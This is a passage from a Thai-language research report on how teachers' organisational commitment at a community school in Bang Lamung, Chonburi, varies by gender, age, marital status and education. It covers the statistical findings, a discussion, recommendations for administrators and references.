รองลงมาคือกลุ่มตัวอย่างที่มีรายได้ต่อเดือนอยู่ระหว่าง 20,000 – 25,000 บาท ( =3.89, S.D.= 3.8) โดยเฉพาะด้านความสมดุลระหว่างการที่ทำงานและชีวิตส่วนตัว และสภาพแวดล้อมในการทำงาน น้อยที่สุดคือกลุ่มตัวอย่างที่มีรายได้ต่อเดือนน้อยกว่า 20,000 บาท ( =3.44, S.D.= 0.24) โดยเฉพาะด้านความสัมพันธ์ระหว่างผู้บังคับบัญชาและเพื่อนร่วมงาน  ผลการวิเคราะห์เปรียบเทียบความผูกพันต่อองค์กร ผลการเปรียบเทียบความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรี พบว่ากลุ่มตัวอย่างที่มีเพศต่างกันมีความผูกพันต่อองค์กร ในภาพรวมแตกต่างกันอย่างมีนัยสำคัญทางสถิติที่ระดับ .05 เฉพาะด้านค่าตอบแทบและสวัสดิการ สภาพแวดล้อมในการทำงาน ความสัมพันธ์ระหว่างผู้บังคับบัญชาและเพื่อนร่วมงาน และความสมดุลระหว่างการที่ทำงานและชีวิตส่วนตัวเมื่อพิจารณารายด้านจำแนกตามเพศ สำหรับด้านค่าตอบแทบและสวัสดิการ พบว่ากลุ่มตัวอย่างมีความผูกพันต่อองค์กร ในภาพรวมแตกต่างกันอย่างมีนัยสำคัญทางสถิติที่ระดับ .05 ในประเด็นคำถามเรื่องโรงเรียนของท่านมีเงินเดือนที่เหมาะสมกับปริมาณงาน ลักษณะงาน และความรู้ ความสามารถในการทำงานของท่าน ท่านได้รับเงินเดือนที่เพียงพอจะจัดหาสิ่งจำเป็นสำหรับตนเอง และครอบครัว และโรงเรียนของท่านมีการจัดสวัสดิการเพื่อความมั่นคงทางการเงินของพนักงาน เช่น การประกันชีวิต และสุขภาพ สำหรับด้านสภาพแวดล้อมในการทำงาน พบว่ากลุ่มตัวอย่างมีความผูกพันต่อองค์กร ในภาพรวมแตกต่างกันอย่างมีนัยสำคัญทางสถิติที่ระดับ .05 ในประเด็นคำถามเรื่องโรงเรียนของท่านจัดบริเวณที่ทำงานเพื่อช่วยเสริมสร้างบรรยากาศที่ดีในการทำงาน และระบบรักษาความปลอดภัยในโรงเรียนมีความเข้มงวดและมีประสิทธิภาพ สำหรับด้านโอกาสในการพัฒนาตนเองและความก้าวหน้าในอนาคต พบว่ากลุ่มตัวอย่างมีความผูกพันต่อองค์กร ในภาพรวมแตกต่างกันอย่างมีนัยสำคัญทางสถิติที่ระดับ .05 ในประเด็นคำถามเรื่องโรงเรียนของท่านพิจารณาความดีความชอบอย่างยุติธรรม สำหรับด้านความสัมพันธ์ระหว่างผู้บังคับบัญชาและเพื่อนร่วมงาน พบว่ากลุ่มตัวอย่างมีความผูกพันต่อองค์กร ในภาพรวมแตกต่างกันอย่างมีนัยสำคัญทางสถิติที่ระดับ .05 ในประเด็นคำถามเรื่องเพื่อนร่วมงานของท่านให้ความช่วยเหลือเป็นอย่างดีเมื่อเกิดความเดือดร้อนทั้งในเรื่องงานและส่วนตัว และผู้บังคับบัญชาของท่านมีหลักเกณฑ์ในการพิจารณาผลงานที่แน่นอน ยุติธรรม สำหรับด้านความมั่นคงและความมีชื่อเสียงของโรงเรียน พบว่ากลุ่มตัวอย่างมีความผูกพันต่อองค์กร ในภาพรวมแตกต่างกันอย่างมีนัยสำคัญทางสถิติที่ระดับ .05 ในประเด็นคำถามเรื่องโรงเรียนของท่านมีความมั่นคง และสำหรับ ด้านความสมดุลระหว่างสถานที่ทำงานและชีวิตส่วนตัว พบว่ากลุ่มตัวอย่างมีความผูกพันต่อองค์กร ในภาพรวมแตกต่างกันอย่างมีนัยสำคัญทางสถิติที่ระดับ .05 ในประเด็นคำถามเรื่องท่านคิดว่า ทำงานกับโรงเรียนแล้ว ท่านมีความสมดุลระหว่างการทำงานและชีวิตส่วนตัว ท่านคิดว่าท่านบริหารจัดการกับงานที่ทำดีพอที่จะมีเวลาว่างจากงาน ท่านมีเวลาว่างพอที่จะพบปะสังสรรค์กับเพื่อนฝูง และท่านพอใจกับช่วงเวลาทำงานและช่วงเวลาว่างในแต่ละวัน การทดสอบสมมติฐานความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรี จำแนกตามอายุ พบว่ากลุ่มตัวอย่างมีความผูกพันต่อองค์กร ในภาพรวมแตกต่างกันอย่างมีนัยสำคัญทางสถิติที่ระดับ .05 โดยเฉพาะด้านสภาพแวดล้อมในการทำงาน ความสัมพันธ์ระหว่างผู้บังคับบัญชาและเพื่อนร่วมงาน และความมั่นคงและความมีชื่อเสียงของโรงเรียน การทดสอบสมมติฐานความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรี จำแนกตามสถานภาพ พบว่ากลุ่มตัวอย่างมีต่อความผูกพันต่อองค์กร ในภาพรวมแตกต่างกันอย่างมีนัยสำคัญทางสถิติที่ระดับ .05 โดยเฉพาะด้านความสัมพันธ์ระหว่างผู้บังคับบัญชาและเพื่อนร่วมงาน การทดสอบสมมติฐานความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรีจำแนกตามระดับการศึกษา  พบว่ากลุ่มตัวอย่างมีต่อความผูกพันต่อองค์กร ในภาพรวมแตกต่างกันอย่างมีนัยสำคัญทางสถิติที่ระดับ .05 โดยเฉพาะด้านสภาพแวดล้อมในการทำงาน โอกาสในการพัฒนาตนเองและความก้าวหน้าในอนาคต และความมั่นคงและความมีชื่อเสียงของโรงเรียน

 

 

อภิปรายผล

ผลการศึกษาที่พบว่าครูเพศหญิงมีความผูกพันต่อองค์กรสูงกว่าครูเพศชายอย่างมีนัยสำคัญทางสถิติ สะท้อนให้เห็นถึงความแตกต่างเชิงจิตวิทยาระหว่างเพศในเชิงลึก โดยครูเพศหญิงมักให้ความสำคัญกับความสัมพันธ์ ความมั่นคงทางจิตใจ และสภาพแวดล้อมที่เกื้อหนุนต่อการทำงานอย่างชัดเจนมากกว่าเพศชาย ในบริบทของโรงเรียนที่เป็นองค์กรบริการด้านการศึกษา ความรู้สึกเชื่อมโยงในเชิงอารมณ์และการให้คุณค่าต่อบทบาทของตนมักส่งผลต่อพฤติกรรมการทำงานของบุคลากรอย่างลึกซึ้ง

ครูเพศหญิงมักจะให้ความสำคัญกับความเป็นทีม ความไว้วางใจ และการมีปฏิสัมพันธ์ที่อบอุ่น ซึ่งสะท้อนให้เห็นผ่านความผูกพันเชิงอารมณ์ (Affective Commitment) ที่ Meyer และ Allen ได้อธิบายไว้ว่าเป็นความรู้สึกทางจิตใจที่ลึกซึ้งและยั่งยืน นอกจากนี้ ครูหญิงยังมักเป็นกลุ่มที่มีพฤติกรรมเชิงบวกต่อองค์กร เช่น การเสียสละเวลาเพื่อทำกิจกรรมพิเศษ การช่วยเหลือเพื่อนร่วมงาน หรือการให้คำแนะนำแก่นักเรียนอย่างต่อเนื่อง สิ่งเหล่านี้เป็นพฤติกรรมที่แสดงถึงความรู้สึกเป็นเจ้าของและความรักในองค์กรอย่างแท้จริงในบริบทของโรงเรียนซึ่งมีลักษณะงานที่เกี่ยวข้องกับอารมณ์ ความเข้าใจผู้อื่น และความเห็นอกเห็นใจ การมีความผูกพันในระดับที่สูงจากครูเพศหญิงจึงส่งผลในทางบวกต่อทั้งตัวบุคคลและองค์การโดยรวม การสนับสนุนให้ครูหญิงมีบทบาทในการกำหนดนโยบาย หรือเป็นผู้นำทางวิชาชีพ จะยิ่งเสริมสร้างความรู้สึกเป็นเจ้าของและความต่อเนื่องในการผูกพัน

ผลการวิจัยพบว่า ครูกลุ่มอายุ 41 ปีขึ้นไปมีระดับความผูกพันต่อองค์กรสูงกว่ากลุ่มที่อายุน้อยกว่า ซึ่งสามารถอธิบายได้ว่า กลุ่มอายุนี้มีการสะสมประสบการณ์และการลงทุนทั้งทางกายภาพ จิตใจ และเวลาในองค์กรมานานแล้ว โดยเฉพาะในแง่ของการพัฒนานักเรียน ความสัมพันธ์กับผู้บริหาร และการมีส่วนร่วมในวิสัยทัศน์ของโรงเรียน สิ่งเหล่านี้ล้วนสะสมเป็นทุนทางสังคมที่มีค่า ซึ่งตามแนวคิดของ Becker ใน Side-Bet Theory นั้นถือว่าเป็นการลงทุนที่มีต้นทุนแฝง หากต้องเปลี่ยนงานหรือลาออกผู้ที่มีอายุงานมากย่อมมีความเข้าใจโครงสร้างองค์กร ระบบการบริหาร และวัฒนธรรมของสถานศึกษามากกว่ากลุ่มอายุน้อย จึงสามารถปรับตัวและสร้างความมั่นใจในการทำงานได้ดีกว่า การผูกพันจึงไม่ใช่เพียงเรื่องของอารมณ์เท่านั้น แต่เป็นความสอดคล้องทางคุณค่า (value congruence) กับองค์กรอย่างลึกซึ้งการมีอายุที่มากขึ้นยังทำให้ครูมองเห็นผลกระทบของการเปลี่ยนแปลงในโรงเรียนทั้งด้านดีและด้านลบ พวกเขามีมุมมองที่เป็นระบบและรอบด้าน ซึ่งนำไปสู่ความเข้าใจและการยอมรับในบทบาทของตนภายในองค์กร ความมั่นคงและการได้รับการยอมรับจากเพื่อนร่วมงานและผู้บริหารจึงเป็นปัจจัยสำคัญที่ผลักดันให้ครูกลุ่มนี้เกิดความผูกพันในระดับสูง

การที่ครูที่มีสถานภาพหย่าร้างหรือหม้ายมีความผูกพันสูงกว่ากลุ่มที่สมรสหรือโสดนั้น แสดงให้เห็นถึงบทบาทของโรงเรียนในฐานะ “พื้นที่ทางสังคม” ที่มีอิทธิพลต่อคุณภาพชีวิตและความรู้สึกมั่นคงของบุคลากรอย่างแท้จริง กลุ่มนี้มักใช้โรงเรียนเป็นพื้นที่ของความมั่นคงทางอารมณ์และการมีปฏิสัมพันธ์กับผู้อื่น ดังนั้นการทำงานในโรงเรียนจึงไม่ใช่เพียงการประกอบอาชีพ แต่เป็นส่วนหนึ่งของการดำรงชีวิตทางสังคมการได้รับการสนับสนุนจากเพื่อนร่วมงานและผู้บริหาร รวมถึงบรรยากาศที่เอื้อต่อการมีส่วนร่วม ช่วยให้ครูกลุ่มนี้รู้สึกถึงคุณค่าในตนเองและบทบาทที่มีต่อองค์กร ซึ่งสอดคล้องกับแนวคิดของ Rousseau ว่าเมื่อความคาดหวังเชิงจิตวิทยาระหว่างพนักงานและองค์กรตรงกัน ก็จะเกิดความผูกพันอย่างยั่งยืน

นอกจากนี้ กลุ่มที่หย่าร้างหรือหม้ายอาจไม่มีภาระครอบครัวในแบบเดิม จึงสามารถทุ่มเทเวลาและพลังงานให้กับโรงเรียนได้มากขึ้น ส่งผลให้มีโอกาสเข้าร่วมกิจกรรม พัฒนานักเรียน และรับผิดชอบในงานพิเศษมากกว่า ซึ่งสิ่งเหล่านี้ยิ่งตอกย้ำความผูกพันและความรู้สึกเป็นเจ้าของโรงเรียนอย่างแน่นแฟ้นครูที่มีระดับการศึกษาสูง เช่น ปริญญาโทขึ้นไป มักมีความผูกพันต่อองค์กรสูงกว่ากลุ่มอื่น ซึ่งอาจมาจากความคาดหวังเชิงคุณค่าและอุดมการณ์ที่สอดคล้องกับวิชาชีพครู กลุ่มนี้มักมองโรงเรียนไม่เพียงเป็นที่ทำงาน แต่เป็นพื้นที่แห่งการสร้างความหมายในชีวิต พวกเขามีเป้าหมายระยะยาว มีความเชื่อในพันธกิจของการศึกษา และมุ่งหวังการพัฒนาอย่างต่อเนื่องทั้งตนเองและผู้เรียน

แนวคิดของ Meyer และ Allen ในมิติ Normative Commitment มีความสอดคล้องกับลักษณะของกลุ่มนี้อย่างยิ่ง กล่าวคือ ความรู้สึกว่า “ต้องอยู่” กับองค์กรนั้นเกิดจากค่านิยม ความรับผิดชอบ และจรรยาบรรณในวิชาชีพ มากกว่าผลประโยชน์ภายนอกนอกจากนี้ ผู้ที่มีการศึกษาสูงมักคาดหวังระบบบริหารจัดการที่โปร่งใส ระบบความก้าวหน้าทางวิชาชีพที่เป็นธรรม และโอกาสในการแสดงศักยภาพทางวิชาการ หากโรงเรียนสามารถสนองตอบต่อสิ่งเหล่านี้ได้อย่างเหมาะสม จะยิ่งส่งเสริมความรู้สึกผูกพันของครูกลุ่มนี้ในระดับลึก และมีแนวโน้มที่จะส่งต่อความผูกพันนั้นไปสู่รุ่นน้องหรือบุคลากรอื่นด้วย

ข้อเสนอแนะ 

1 ค่าตอบแทบและสวัสดิการ ผู้บริหารของโรงเรียน ต้องมีการพิจารณาความเหมาะสมของรายได้ที่ครูได้รับเมื่อเปรียบเทียบกับโรงเรียนอื่นให้มีความเหมาะสมเนื่องจากรายได้จะเป็นตัวชี้วัดความเป็นอยู่ของครู ถ้าหากครูมีรายได้น้อยก็จะลาออกเพื่อไปหางานทำใหม่

2 สภาพแวดล้อมในการทำงาน ผู้บริหารของโรงเรียนต้องจัดให้มีวัสดุอุปกรณ์ เครื่องมือเครื่องใช้ในการปฏิบัติงานที่ทันสมัยและครบครันเพื่อให้การทำงานมีประสิทธิภาพและประสบผลสำเร็จตามเป้าหมายตามที่ได้วางไว้

3 อกาสในการพัฒนาตนเองและความก้าวหน้าในอนาคต ผู้บริหารของโรงเรียนต้องมีนโยบายที่ชัดเจน มีการพิจารณาความดีความชอบอย่างยุติธรรมเพื่อสร้างขวัญกำลังใจในการทำงานให้กับครู

4 ความสัมพันธ์ระหว่างผู้บังคับบัญชาและเพื่อนร่วมงาน ผู้บริหารของโรงเรียนต้องมีหลักเกณฑ์ในการพิจารณาผลงานที่แน่นอน ยุติธรรม เนื่องจากความยุติธรรมจะช่วยให้สมาชิกขององค์กรยอมรับหลักเกณฑ์ในการประเมินผลงาน

5ความมั่นคงและความมีชื่อเสียงของโรงเรียน ผู้บริหารของโรงเรียน ต้องมีการประชาสัมพันธ์ให้โรงเรียนมีภาพพจน์เป็นที่เชื่อถือของบุคคลและสังคม

6 ความสมดุลระหว่างการทำงานและชีวิตส่วนตัว ผู้บริหารของโรงเรียน ต้องส่งเสริมสนับสนุนให้ครูมีความสมดุลระหว่างการทำงานและชีวิตส่วนตัว

ข้อเสนอแนะในงานวิจัยครั้งต่อไป

1 ในการศึกษาเรื่องความผูกพันต่อองค์กรของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรีควรมีการศึกษาเปรียบเทียบกับโรงเรียนแห่งอื่น ๆ เพื่อนำมาเปรียบเทียบและหาข้อสรุปแก้ปัญหาร่วมกัน

2 ควรมีการศึกษาเรื่องปัญหาและอุปสรรคในการทำงานของครู เพื่อนำผลการศึกษาที่ได้รับมาปรับปรุงการทำงานของโรงเรียน

3 ควรมีการศึกษาเรื่องความต้องการพัฒนาตนเองของครูโรงเรียนชุมชนวัดเขาไม้แก้ว อำเภอบางละมุง จังหวัดชลบุรี

เอกสารอ้างอิง

จิราภรณ์ แก้วขุนทด. (2563). ปัจจัยที่ส่งผลต่อความผูกพันของพนักงานต่อองค์กรในรัฐวิสาหกิจ.

วารสารการบริหารและพัฒนา, 3(1), 45–56.

ปาริชาติ รัตนเสถียร. (2561). ความมั่นคงในงานกับแรงจูงใจของพนักงานในหน่วยงานรัฐ. วารสาร

การบริหารงานบุคคล, 6(1), 25–38.

วรัญญา วรรณเลิศ. (2561). ความสมดุลระหว่างชีวิตกับการทำงานในบริษัทเอกชน. วารสารการ

จัดการและพัฒนา, 9(2), 102–113.

Fayol, H. (1949). General and industrial management (C. Storrs, Trans.). Pitman

Publishing. (Original work published 1916)

London, M. (2014). The power of learning: A guide to gaining the most from your

human potential. Routledge.

Meyer, J. P., & Allen, N. J. (1997). Commitment in the workplace: Theory, research,

and application. Sage Publications.

Robbins, S. P., & Judge, T. A. (2019). Organizational behavior (18th ed.). Pearson.

]]>